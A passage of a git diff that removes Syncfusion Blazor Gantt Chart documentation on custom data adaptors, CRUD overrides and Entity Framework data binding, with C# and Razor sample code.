-    public virtual object Insert(DataManager dataManager, object data, string key)
-    /// <summary>
-    /// Performs Insert operation asynchronously.
-    /// </summary>
-    public virtual Task<object> InsertAsync(DataManager dataManager, object data, string key)
-
-    /// <summary>
-    /// Performs Remove operation synchronously.
-    /// </summary>
-    public virtual object Remove(DataManager dataManager, object data, string keyField, string key)
-
-    /// <summary>
-    /// Performs Remove operation asynchronously.
-    /// </summary>
-    public virtual Task<object> RemoveAsync(DataManager dataManager, object data, string keyField, string key)
-
-    /// <summary>
-    /// Performs Update operation synchronously.
-    /// </summary>
-    public virtual object Update (DataManager dataManager, object data, string keyField, string key)
-
-    /// <summary>
-    /// Performs Update operation asynchronously.
-    /// </summary>
-    public virtual Task<object> UpdateAsync(DataManager dataManager, object data, string keyField, string key)
-
-    /// <summary>
-    /// Performs Batch CRUD operations synchronously.
-    /// </summary>
-    public virtual object BatchUpdate(DataManager dataManager, object changedRecords, object addedRecords, object deletedRecords, string keyField, string key, int? dropIndex)
-
-    /// <summary>
-    /// Performs Batch CRUD operations asynchronously.
-    /// </summary>
-    public virtual Task<object> BatchUpdateAsync(DataManager dataManager, object changedRecords, object addedRecords, object deletedRecords, string keyField, string key, int? dropIndex)
-}
-```
-
-## Data binding
-
-The custom data binding can be performed in the Gantt component by providing the custom adaptor class and overriding the **Read** or **ReadAsync** method of the **DataAdaptor** abstract class.
-
-The following sample code demonstrates implementing custom data binding using custom adaptor,
-
-```cshtml
-@using Syncfusion.Blazor.Gantt;
-@using Syncfusion.Blazor.Data;
-@using Syncfusion.Blazor;
-
-<SfGantt TValue="TaskData" Height="450px" Width="1000px" LoadChildOnDemand="true">
-     <SfDataManager AdaptorInstance="@typeof(CustomAdaptor)" Adaptor="Adaptors.CustomAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Progress="Progress" Duration="Duration"  ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    public static List<TaskData> GanttData { get; set; }
-    public static List<TaskData> gantt = new List<TaskData>();
-    public class TaskData
-    {
-        public int? TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public int Progress { get; set; }
-        public int Duration { get; set; }
-        public int? ParentID { get; set; }
-        public TaskData() { }
-    }
-    public static List<TaskData> GetGantt()
-    {
-        if (gantt.Count == 0)
-        {
-            int root = -1;
-            for (var t = 1; t <= 8; t++)
-            {
-                string math = (20 % 3) == 0 ? "High" : (20 % 2) == 0 ? "Release Breaker" : "Critical";
-                root++;
-                int rootItem = gantt.Count + root + 1;
-                gantt.Add(new TaskData() { TaskID = rootItem, TaskName = "Parent Task " + rootItem.ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 70, ParentID = null, Duration = 20 });
-                int parent = gantt.Count;
-                for (var c = 0; c < 3; c++)
-                {
-                    root++;
-                    string val = ((parent + c + 1) % 3 == 0) ? "Low" : "Critical";
-                    int parn = parent + c + 1;
-                    int iD = gantt.Count + root + 1;
-                    gantt.Add(new TaskData() { TaskID = iD, TaskName = "Child Task " + iD.ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 30, ParentID = rootItem, Duration = 5 });
-                    if ((((parent + c + 1) % 3) == 0))
-                    {
-                        int immParent = gantt.Count;
-                        for (var s = 0; s <= 1; s++)
-                        {
-                            root++;
-                            gantt.Add(new TaskData() { TaskID = gantt.Count + root + 1, TaskName = "Sub Task " + (gantt.Count + root + 1).ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 50, ParentID = iD, Duration = 8 });
-                        }
-                    }
-                }
-            }
-        }
-        return gantt;
-    }
-
-    // Implementing custom adaptor by extending the DataAdaptor class.
-    public class CustomAdaptor : DataAdaptor
-    {
-        // Performs data Read operation.
-        public override object Read(DataManagerRequest dm, string key = null)
-        {
-            IEnumerable<TaskData> DataSource = GanttData;
-            if (dm.Search != null && dm.Search.Count > 0)
-            {
-                // Searching
-                DataSource = DataOperations.PerformSearching(DataSource, dm.Search);
-            }
-            if (dm.Sorted != null && dm.Sorted.Count > 0)
-            {
-                // Sorting
-                DataSource = DataOperations.PerformSorting(DataSource, dm.Sorted);
-            }
-            if (dm.Where != null && dm.Where.Count > 0)
-            {
-                // Filtering
-                if (dm.Where[0].Field != null && dm.Where[0].Field == "ParentID"){}
-                else
-                {
-                    DataSource = DataOperations.PerformFiltering(DataSource, dm.Where, dm.Where[0].Operator);
-                }
-            }
-            int count = DataSource.Cast<TaskData>().Count();
-            if (dm.Skip != 0)
-            {
-                //Paging
-                DataSource = DataOperations.PerformSkip(DataSource, dm.Skip);
-            }
-            if (dm.Take != 0)
-            {
-                DataSource = DataOperations.PerformTake(DataSource, dm.Take);
-            }
-            return dm.RequiresCounts ? new DataResult() { Result = DataSource, Count = count } : (object)DataSource;
-        }
-    }
-    protected override void OnInitialized()
-    {
-        GanttData = GetGantt().ToList();
-    }
-}
-```
-
-N> If the **DataManagerRequest.RequiresCounts** value is **true**, then the Read/ReadAsync return value must be of **DataResult** with properties **Result** whose value is a collection of records and **Count** whose value is the total number of records. If the **DataManagerRequest.RequiresCounts** is **false**, then simply send the collection of records.
-<br/> <br /> If the Read/ReadAsync method is not overridden in the custom adaptor then it will be handled by the default read handler.
-
-## Inject service into custom adaptor
-
-If you want to inject some of your service into Custom Adaptor and use the service, then you can achieve your requirement by using below way.
-
-Initially you need to add CustomAdaptor class as AddScoped in `Program.cs` file.
-
-```csharp
-builder.Services.AddSingleton<TaskDataAccessLayer>();
-builder.Services.AddScoped<CustomAdaptor>();
-builder.Services.AddScoped<ServiceClass>();
-```
-
-The following sample code demonstrates injecting service into Custom Adaptor,
-
-```cshtml
-@using Syncfusion.Blazor.Gantt;
-@using Syncfusion.Blazor.Data;
-@using Syncfusion.Blazor;
-
-<SfGantt TValue="TaskData" Height="450px" Width="1000px" LoadChildOnDemand="true">
-     <SfDataManager AdaptorInstance="@typeof(CustomAdaptor)" Adaptor="Adaptors.CustomAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Progress="Progress" Duration="Duration"  ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    public static List<TaskData> GanttData { get; set; }
-    public static List<TaskData> gantt = new List<TaskData>();
-    public class TaskData
-    {
-        public int? TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public int Progress { get; set; }
-        public int Duration { get; set; }
-        public int? ParentID { get; set; }
-        public TaskData() { }
-    }
-    public static List<TaskData> GetGantt()
-    {
-        if (gantt.Count == 0)
-        {
-            int root = -1;
-            for (var t = 1; t <= 8; t++)
-            {
-                string math = (60 % 3) == 0 ? "High" : (60 % 2) == 0 ? "Release Breaker" : "Critical";
-                root++;
-                int rootItem = gantt.Count + root + 1;
-                gantt.Add(new TaskData() { TaskID = rootItem, TaskName = "Parent Task " + rootItem.ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 70, ParentID = null, Duration = 20 });
-                int parent = gantt.Count;
-                for (var c = 0; c < 3; c++)
-                {
-                    root++;
-                    string val = ((parent + c + 1) % 3 == 0) ? "Low" : "Critical";
-                    int parn = parent + c + 1;
-                    int iD = gantt.Count + root + 1;
-                    gantt.Add(new TaskData() { TaskID = iD, TaskName = "Child Task " + iD.ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 30, ParentID = rootItem, Duration = 5 });
-                    if ((((parent + c + 1) % 3) == 0))
-                    {
-                        int immParent = gantt.Count;
-                        for (var s = 0; s <= 1; s++)
-                        {
-                            root++;
-                            gantt.Add(new TaskData() { TaskID = gantt.Count + root + 1, TaskName = "Sub Task " + (gantt.Count + root + 1).ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 50, ParentID = iD, Duration = 8 });
-                        }
-                    }
-                }
-            }
-        }
-        return gantt;
-    }
-
-    // Implementing custom adaptor by extending the DataAdaptor class.
-    public class CustomAdaptor : DataAdaptor
-    {
-        //Here, you can inject your service.
-        [Inject]
-        public TaskDataAccessLayer context { get; set; } = new TaskDataAccessLayer();
-        // Performs data Read operation
-        public override object Read(DataManagerRequest dm, string key = null)
-        {
-            IEnumerable<TaskData> DataSource = GanttData;
-            if (dm.Search != null && dm.Search.Count > 0)
-            {
-                // Searching
-                DataSource = DataOperations.PerformSearching(DataSource, dm.Search);
-            }
-            if (dm.Sorted != null && dm.Sorted.Count > 0)
-            {
-                // Sorting
-                DataSource = DataOperations.PerformSorting(DataSource, dm.Sorted);
-            }
-            if (dm.Where != null && dm.Where.Count > 0)
-            {
-                // Filtering
-                if (dm.Where[0].Field != null && dm.Where[0].Field == "ParentID"){}
-                else
-                {
-                    DataSource = DataOperations.PerformFiltering(DataSource, dm.Where, dm.Where[0].Operator);
-                }
-            }
-            int count = DataSource.Cast<TaskData>().Count();
-            if (dm.Skip != 0)
-            {
-                //Paging
-                DataSource = DataOperations.PerformSkip(DataSource, dm.Skip);
-            }
-            if (dm.Take != 0)
-            {
-                DataSource = DataOperations.PerformTake(DataSource, dm.Take);
-            }
-            return dm.RequiresCounts ? new DataResult() { Result = DataSource, Count = count } : (object)DataSource;
-        }
-    }
-    protected override void OnInitialized()
-    {
-        GanttData = GetGantt().ToList();
-    }
-}
-```
-
-## CRUD operation
-
-The CRUD operations for the custom bounded data in the Gantt component can be implemented by overriding the following CRUD methods of the **DataAdaptor** abstract class,
-
-* **Insert/InsertAsync**
-* **Remove/RemoveAsync**
-* **Update/UpdateAsync**
-* **BatchUpdate/BatchUpdateAsync**
-
-N> While using batch editing in Gantt, use BatchUpdate/BatchUpdateAsync method to handle the corresponding CRUD operation.
-
-The following sample code demonstrates implementing CRUD operations for the custom bounded data,
-
-```cshtml
-@using Syncfusion.Blazor.Gantt;
-@using Syncfusion.Blazor.Data;
-@using Syncfusion.Blazor;
-
-<SfGantt TValue="TaskData" Height="450px" Width="1000px" LoadChildOnDemand="true" Toolbar="@(new List<string>() { "Add", "Edit", "Delete", "Update", "Cancel" })">
-     <SfDataManager AdaptorInstance="@typeof(CustomAdaptor)" Adaptor="Adaptors.CustomAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Progress="Progress" Duration="Duration"  ParentID="ParentID">
-    </GanttTaskFields>
-     <GanttEditSettings AllowEditing="true" AllowAdding="true" AllowDeleting="true"></GanttEditSettings>
-     <GanttEvents RowUpdating="RowUpdatingHandler" TValue="TaskData"></GanttEvents>
-</SfGantt>
-
-@code{
-    public static List<TaskData> GanttData { get; set; }
-    public static List<TaskData> gantt = new List<TaskData>();
-    public static int index = 0;
-
-    public void RowUpdatingHandler(GanttRowUpdatingEventArgs<TaskData> args)
-    {
-        index = args.Index;
-    }
-
-    public class TaskData
-    {
-        public int? TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public int Progress { get; set; }
-        public int Duration { get; set; }
-        public int? ParentID { get; set; }
-        public TaskData() { }
-    }
-
-    protected override void OnInitialized()
-    {
-        GanttData = GetGantt().ToList();
-    }
-    public static List<TaskData> GetGantt()
-    {
-        if (gantt.Count == 0)
-        {
-            int root = -1;
-            for (var t = 1; t <= 8; t++)
-            {
-                string math = (42 % 3) == 0 ? "High" : (42 % 2) == 0 ? "Release Breaker" : "Critical";
-                root++;
-                int rootItem = gantt.Count + root + 1;
-                gantt.Add(new TaskData() { TaskID = rootItem, TaskName = "Parent Task " + rootItem.ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 70, ParentID = null, Duration = 20 });
-                int parent = gantt.Count;
-                for (var c = 0; c < 3; c++)
-                {
-                    root++;
-                    string val = ((parent + c + 1) % 3 == 0) ? "Low" : "Critical";
-                    int parn = parent + c + 1;
-                    int iD = gantt.Count + root + 1;
-                    gantt.Add(new TaskData() { TaskID = iD, TaskName = "Child Task " + iD.ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 30, ParentID = rootItem, Duration = 5 });
-                    if ((((parent + c + 1) % 3) == 0))
-                    {
-                        int immParent = gantt.Count;
-                        for (var s = 0; s <= 1; s++)
-                        {
-                            root++;
-                            gantt.Add(new TaskData() { TaskID = gantt.Count + root + 1, TaskName = "Sub Task " + (gantt.Count + root + 1).ToString(), StartDate = new DateTime(2022, 06, 07), EndDate = new DateTime(2022, 08, 25), Progress = 50, ParentID = iD, Duration = 8 });
-                        }
-                    }
-                }
-            }
-        }
-        return gantt;
-    }
-
-    // Implementing custom adaptor by extending the DataAdaptor class.
-    public class CustomAdaptor : DataAdaptor
-    {
-        // Performs data Read operation.
-        public override object Read(DataManagerRequest dm, string key = null)
-        {
-            IEnumerable<TaskData> DataSource = GanttData;
-            if (dm.Search != null && dm.Search.Count > 0)
-            {
-                // Searching
-                DataSource = DataOperations.PerformSearching(DataSource, dm.Search);
-            }
-            if (dm.Sorted != null && dm.Sorted.Count > 0)
-            {
-                // Sorting
-                DataSource = DataOperations.PerformSorting(DataSource, dm.Sorted);
-            }
-            if (dm.Where != null && dm.Where.Count > 0)
-            {
-                // Filtering
-                if (dm.Where[0].Field != null && dm.Where[0].Field == "ParentID"){}
-                else
-                {
-                    DataSource = DataOperations.PerformFiltering(DataSource, dm.Where, dm.Where[0].Operator);
-                }
-            }
-            int count = DataSource.Cast<TaskData>().Count();
-            if (dm.Skip != 0)
-            {
-                //Paging
-                DataSource = DataOperations.PerformSkip(DataSource, dm.Skip);
-            }
-            if (dm.Take != 0)
-            {
-                DataSource = DataOperations.PerformTake(DataSource, dm.Take);
-            }
-            return dm.RequiresCounts ? new DataResult() { Result = DataSource, Count = count } : (object)DataSource;
-        }
-        public override object Insert(DataManager dm, object value, string key)
-        {
-            GanttData.Insert(index, value as TaskData);
-            return value;
-        }
-
-        // Performs Remove operation.
-        public override object Remove(DataManager dm, object value, string keyField, string key)
-        {
-            GanttData.Remove(GanttData.Where(or => or.TaskID == int.Parse(value.ToString())).FirstOrDefault());
-            return value;
-        }
-
-        // Performs Update operation.
-        public override object Update(DataManager dm, object value, string keyField, string key)
-        {
-            var data = GanttData.Where(or => or.TaskID == (value as TaskData).TaskID).FirstOrDefault();
-            if (data != null)
-            {
-                data.TaskID = (value as TaskData).TaskID;
-                data.TaskName = (value as TaskData).TaskName;
-                data.StartDate = (value as TaskData).StartDate;
-                data.EndDate = (value as TaskData).EndDate;
-                data.Duration = (value as TaskData).Duration;
-                data.Progress = (value as TaskData).Progress;
-            }
-            return value;
-        }
-    }
-}
-```
-
-N>You can find the sample for custom adaptor [here](https://github.com/SyncfusionExamples/Gantt-Chart-Custom-Adaptor-sample-using-Blazor-server-application).
-
-N> You can refer to our [Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Gantt Chart example](https://blazor.syncfusion.com/demos/gantt-chart/default-functionalities?theme=bootstrap4) to know how to render and configure the Gantt.
\ No newline at end of file
diff --git a/blazor/gantt-chart/entity-framework.md b/blazor/gantt-chart/entity-framework.md
deleted file mode 100644
index 8c8ecc6f71..0000000000
--- a/blazor/gantt-chart/entity-framework.md
+++ /dev/null
@@ -1,403 +0,0 @@
----
-layout: post
-title: Entity frameWork in Blazor Gantt Chart Component | Syncfusion
-description: Checkout and learn here all about Entity frameWork in Syncfusion Blazor Gantt Chart component and more.
-platform: Blazor
-control: Gantt Chart
-documentation: ug
----
-
-
-# Entity Framework in Blazor Gantt Chart Component
-
-You need to follow the below steps to consume data from the **Entity Framework** in the Gantt Chart component.
-
-**Step 1:** The first step is to create a SQL database in your Blazor project. Refer this [link](https://docs.microsoft.com/en-us/visualstudio/data-tools/create-a-sql-database-by-using-a-designer?view=vs-2019) to create SQL database.
-
-**Step 2:** Install the below packages for Entity Framework Support using NuGet or Package manager console using the below command.
-
-```bash
-Install-Package Microsoft.EntityFrameworkCore.Tools
-
-Install-Package Microsoft.EntityFrameworkCore.SqlServer
-
-```
-
-**Step 3:** Create a model class `GanttDataDetails.cs` for the existing database file.
-
-```csharp
-
-using System.ComponentModel.DataAnnotations;
-using System.ComponentModel.DataAnnotations.Schema;
-using System;
-
-namespace MyBlazorApp.Data
-{
-
-    public class GanttDataDetails
-    {
-        [DatabaseGenerated(DatabaseGeneratedOption.Identity)]
-        [Key]
-        public int Id { get; set; }
-        public string Name { get; set; }
-        public DateTime? Sdate { get; set; }
-        public DateTime? Edate { get; set; }
-        public string Progress { get; set; }
-        public int? ParentId { get; set; }
-        public string Duration { get; set; }
-        public string ProjectName { get; set; }
-        public DateTime? BaselineStartDate { get; set; }
-        public DateTime? BaselineEndDate { get; set; }
-        public string Predecessor { get; set; }
-        public string Notes { get; set; }
-        public string TaskType { get; set; }
-        public List<TaskResources> ResourceId { get; set; }
-        public string ProjectId { get; set; }
-        public bool? IsExpand { get; set; }
-    }
-}
-
-```
-
-**Step 4:** Create a DB Context class to connect to the Microsoft SQL Server database using the below command in Package Manager Console.
-
-```bash
-
-Server=(localdb)\\MSSQLLocalDB;Database=master;Integrated Security=True
-
-```
-
-```csharp
-using System;
-using Microsoft.EntityFrameworkCore;
-using Microsoft.EntityFrameworkCore.Metadata;
-
-namespace GanttEF.Models
-{
-    public partial class masterContext : DbContext
-    {
-        public masterContext()
-        {
-        }
-
-        public masterContext(DbContextOptions<masterContext> options)
-            : base(options)
-        {
-        }
-
-        public virtual DbSet<Table> Table { get; set; }
-
-        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)
-        {
-            if (!optionsBuilder.IsConfigured)
-            {
-                optionsBuilder.UseSqlServer("Server=(localdb)\\MSSQLLocalDB;Database=master;Integrated Security=True");
-            }
-        }
-
-        protected override void OnModelCreating(ModelBuilder modelBuilder)
-        {
-            modelBuilder.Entity<Table>(entity =>
-            {
-                entity.Property(e => e.Id).ValueGeneratedNever();
-
-                entity.Property(e => e.Edate).HasColumnType("datetime");
-
-                entity.Property(e => e.Name)
-                    .HasMaxLength(10)
-                    .IsFixedLength();
-
-                entity.Property(e => e.Progress)
-                    .HasMaxLength(10)
-                    .IsFixedLength();
-
-                entity.Property(e => e.Sdate).HasColumnType("datetime");
-            });
-            OnModelCreatingPartial(modelBuilder);
-        }
-        partial void OnModelCreatingPartial(ModelBuilder modelBuilder);
-    }
-}
-```
-
-**Step 5:** Update the connection string in the appsettings.json file.
-
-```csharp
-
-"ConnectionStrings": {
-    "EmployeeDatabase": "Data Source=(LocalDB)\\\\MSSQLLocalDB;AttachDbFilename=\\\"D:\\client-side-gantt-chart-application-with-entity-framework\\Gantt_wasm_crud_sample1804339720\\Gantt_wasm_crud_sample\\Shared\\App_DataNORTHWND.MDF\\\";Integrated Security=True"
-  }
-
-```
-
-The following sections will give details about the steps that need to be followed when working with server-side and client-side applications individually. You can also find samples attached at the end of each section for server-side applications and client-side applications.
-
-## Entity Framework in server-side application
-
-You need to follow the following steps when working with a server-side application.
-
-### Custom adaptor
-
-In Gantt Chart, you can fetch data from the SQL database using `Entity Framework` Data Model and update the changes on CRUD action to the server by using `DataManager` support. To communicate with the remote data, `CustomAdaptor` of DataManager property is used to call the server method. Learn  know more about `CustomAdaptor` from [here](https://blazor.syncfusion.com/documentation/data/custom-binding). You can populate the datasource in Gantt from the SQL table using Entity Framework using **Read** method. Check the following code snippet to assign the data source to Gantt.
-
-```cshtml
-@using GanttEF.Models
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor
-
-
-<SfGantt ID="GanttExport" TValue="GanttData" Height="450px" Width="700px"
-         Toolbar="@(new List<string>(){ "Add", "Edit", "Update", "Delete", "Cancel", "ExpandAll", "CollapseAll"})">
-    <SfDataManager AdaptorInstance="@typeof(CustomAdaptor)" Adaptor="Adaptors.CustomAdaptor"></SfDataManager>
-    <GanttColumns>
-        <GanttColumn Field=@nameof(GanttData.Id) Width="100"></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Name) Width="250"></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Sdate)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Edate)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Progress)></GanttColumn>
-    </GanttColumns>
-    <GanttEditSettings AllowAdding="true" AllowDeleting="true" AllowEditing="true" AllowTaskbarEditing="true" ShowDeleteConfirmDialog="true" NewRowPosition="RowPosition.Child"></GanttEditSettings>
-    <GanttTimelineSettings>
-        <GanttTopTierSettings Unit="TimelineViewMode.Week" Format="MMM dd, y"></GanttTopTierSettings>
-        <GanttBottomTierSettings Unit="TimelineViewMode.Day"></GanttBottomTierSettings>
-    </GanttTimelineSettings>
-    <GanttTaskFields Id="Id" Name="Name" StartDate="Sdate" EndDate="Edate" Progress="Progress"
-                     ParentID="ParentId"></GanttTaskFields>
-</SfGantt>
-
-@code {
-    // Implementing custom adaptor by extending the DataAdaptor class.
-    public class CustomAdaptor : DataAdaptor
-    {
-        masterContext db = new masterContext();
-        // Performs data Read operation.
-        public override object Read(DataManagerRequest dm, string key = null)
-        {
-            IEnumerable<GanttData> DataSource = db.GanttData;
-            int count = DataSource.Cast<GanttData>().Count();
-            return dm.RequiresCounts ? new DataResult() { Result = DataSource, Count = count } : (object)DataSource;
-        }
-        .../////
-
-    }
-}
-```
-
-### Perform CRUD operation in custom adaptor
-
-All the CRUD operations in the Gantt Chart are done through DataManager. The DataManager has an option to bind all the CRUD related data in server-side.
-
-You can do CRUD operations over Gantt data and save the changes into the database. By using **BatchUpdate** method of DataManager, You can communicate with the controller method to update the data source by CRUD operation. In Gantt Chart, the CRUD actions on a task are dependent on other tasks. For example, if you edit the child record on the chart side, the corresponding parent item also will get affected and predecessor dependency task as well get affected. So, all the CRUD operations in Gantt Chart are considered to be batch editing, where you will get all the affected records as collection.
-
-This server method will be triggered for all the CRUD operations like adding, editing, and deleting actions. You can handle each operation separately inside this method with corresponding data received in this method argument.
-
-The following sample code explains you about, how to implement CRUD operations for the custom bounded data.
-
-```cshtml
-@using GanttEF.Models
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor
-
-<SfGantt ID="GanttExport" TValue="GanttData" Height="450px" Width="700px"
-Toolbar="@(new List<string>(){ "Add", "Edit", "Update", "Delete", "Cancel", "ExpandAll", "CollapseAll"})">
-    <SfDataManager AdaptorInstance="@typeof(CustomAdaptor)" Adaptor="Adaptors.CustomAdaptor"></SfDataManager>
-    <GanttColumns>
-        <GanttColumn Field=@nameof(GanttData.Id) Width="100"></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Name) Width="250"></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Sdate)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Edate)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttData.Progress)></GanttColumn>
-    </GanttColumns>
-    <GanttEditSettings AllowAdding="true" AllowDeleting="true" AllowEditing="true" AllowTaskbarEditing="true" ShowDeleteConfirmDialog="true" NewRowPosition="RowPosition.Child"></GanttEditSettings>
-    <GanttTimelineSettings>
-        <GanttTopTierSettings Unit="TimelineViewMode.Week" Format="MMM dd, y"></GanttTopTierSettings>
-        <GanttBottomTierSettings Unit="TimelineViewMode.Day"></GanttBottomTierSettings>
-    </GanttTimelineSettings>
-    <GanttTaskFields Id="Id" Name="Name" StartDate="Sdate" EndDate="Edate" Progress="Progress"
-                     ParentID="ParentId"></GanttTaskFields>
-</SfGantt>
-
-@code {
-    // Implementing custom adaptor by extending the DataAdaptor class.
-    public class CustomAdaptor : DataAdaptor
-    {
-        masterContext db = new masterContext();
-        // Performs data Read operation.
-        public override object Read(DataManagerRequest dm, string key = null)
-        {
-            IEnumerable<GanttData> DataSource = db.GanttData;
-            int count = DataSource.Cast<GanttData>().Count();
-            return dm.RequiresCounts ? new DataResult() { Result = DataSource, Count = count } : (object)DataSource;
-        }
-
-        // Performs CRUD operation.
-        public override object BatchUpdate(DataManager dm, object changedRecords, object addedRecords, object deletedRecords, string keyField, string key, int? dropIndex)
-        {
-            List<GanttData> addRecord = addedRecords as List<GanttData>;
-            List<GanttData> changed = changedRecords as List<GanttData>;
-            List<GanttData> deleteRecord = deletedRecords as List<GanttData>;
-            if (changed != null)
-            {
-                for (var i = 0; i < changed.Count(); i++)
-                {
-                    var value = changed[i];
-                    GanttData result = db.GanttData.Where(or => or.Id == value.Id).FirstOrDefault();
-                    result.Id = value.Id;
-                    result.Name = value.Name;
-                    result.Sdate = value.Sdate;
-                    result.Edate = value.Edate;
-                    result.Progress = value.Progress;
-                    db.SaveChanges();
-                }
-            }
-            if (deleteRecord != null)
-            {
-                for (var i = 0; i < deleteRecord.Count(); i++)
-                {
-                    db.GanttData.Remove(db.GanttData.Where(or => or.Id == deleteRecord[i].Id).FirstOrDefault());
-                    db.SaveChanges();
-                }
-            }
-            if (addRecord != null)
-            {
-                for (var i = 0; i < addRecord.Count(); i++)
-                {
-                    db.GanttData.Add(addRecord[i] as GanttData);
-                    db.SaveChanges();
-                }
-            }
-            return (new { addedRecords = addRecord, changedRecords = changed, deletedRecords = deleteRecord });
-        }
-    }
-}
-```
-
-N>You can find the sample for server-side application using Entity Framework [here](https://github.com/SyncfusionExamples/Blazor-Gantt-Chart-with-Entity-framework).
-
-## Entity Framework in client-side application
-
-You need to follow the following steps when working with a client-side application.
-
-### Custom adaptor
-
-In Gantt Chart, you can fetch data from the SQL database using `Entity Framework` Data Model and update the changes on CRUD action to the server by using `DataManager` support. To communicate with the
-remote data, `CustomAdaptor` of DataManager property is used to call the server method. You can know more about `CustomAdaptor` from [here](https://blazor.syncfusion.com/documentation/data/custom-binding). You can populate the datasource in Gantt from the SQL table using Entity Framework using **ReadAsync** method. Check the following code snippet to assign the data source to Gantt.
-
-```cshtml
-@using MyBlazorApp.Shared.DataAccess
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor
-@using MyBlazorApp.Data
-
-<SfGantt ID="GanttExport" TValue="GanttDataDetails" HighlightWeekends="true" RowHeight="75" DurationUnit="DurationUnit.Day"
-         Toolbar="@(new List<string>(){ "Add", "Edit", "Update", "Delete", "Cancel", "ExpandAll", "CollapseAll"})">
-    <SfDataManager Adaptor="Adaptors.CustomAdaptor" DataType="GanttDataDetails">
-        <CustomDataAdaptor></CustomDataAdaptor>
-    </SfDataManager>
-    <GanttColumns>
-        <GanttColumn Field=@nameof(GanttDataDetails.Id) Width="100"></GanttColumn>
-        <GanttColumn Field=@nameof(GanttDataDetails.Name) Width="250"></GanttColumn>
-        <GanttColumn Field=@nameof(GanttDataDetails.Sdate)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttDataDetails.Edate)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttDataDetails.Duration)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttDataDetails.Progress)></GanttColumn>
-        <GanttColumn Field=@nameof(GanttDataDetails.ParentId)></GanttColumn>
-    </GanttColumns>
-    <GanttEditSettings AllowAdding="true" AllowDeleting="true" AllowEditing="true" AllowTaskbarEditing="true"></GanttEditSettings>
-    <GanttTimelineSettings>
-        <GanttTopTierSettings Unit="TimelineViewMode.Week" Format="MMM dd, y"></GanttTopTierSettings>
-        <GanttBottomTierSettings Unit="TimelineViewMode.Day"></GanttBottomTierSettings>
-    </GanttTimelineSettings>
-    <GanttTaskFields Id="Id" Name="Name" StartDate="Sdate" EndDate="Edate" ParentID="ParentId" Progress="Progress" Duration="Duration"></GanttTaskFields>
-</SfGantt>
-
-@code {
-
-    // Performs data Read operation.
-    public override async Task<object> ReadAsync(DataManagerRequest dm, string key = null)
-
-    {
-        IEnumerable<object> data = await http.GetJsonAsync<IEnumerable<GanttDataDetails>>("api/GanttDataDetails") as IEnumerable<object>;
-
-        return dm.RequiresCounts ? new DataResult() { Result = data, Count = data.Count() } : (object)data;
-    }
-        .../////
-}
-
-```
-
-### Perform CRUD operation in custom adaptor
-
-All the CRUD operations in the Gantt Chart are done through DataManager. The DataManager has an option to bind all the CRUD related data in server-side.
-
-The following sample code explains you about, how to implement CRUD operations for the custom bounded data.
-
-```csharp
-
-@using Newtonsoft.Json
-@using MyBlazorApp.Data
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Inputs
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor
-@using MyBlazorApp.Shared.DataAccess
-@inject HttpClient http
-
-
-@inherits DataAdaptor<GanttDataContext>
-
-@code {
-
-
-    // Performs data Read operation.
-    public override async Task<object> ReadAsync(DataManagerRequest dm, string key = null)
-
-    {
-        IEnumerable<object> data = await http.GetJsonAsync<IEnumerable<GanttDataDetails>>("api/GanttDataDetails") as IEnumerable<object>;
-
-        return dm.RequiresCounts ? new DataResult() { Result = data, Count = data.Count() } : (object)data;
-    }
-
-    // Performs CRUD operation.
-    public override async Task<object> BatchUpdateAsync(DataManager dm, object changedRecords, object addedRecords, object deletedRecords, string keyField, string key, int? dropIndex)
-
-    {
-
-        List<GanttDataDetails> addRecord = addedRecords as List<GanttDataDetails>;
-        List<GanttDataDetails> changed = changedRecords as List<GanttDataDetails>;
-        List<GanttDataDetails> deleteRecord = deletedRecords as List<GanttDataDetails>;
-        if (changed != null)
-        {
-            for (var i = 0; i < changed.Count(); i++)
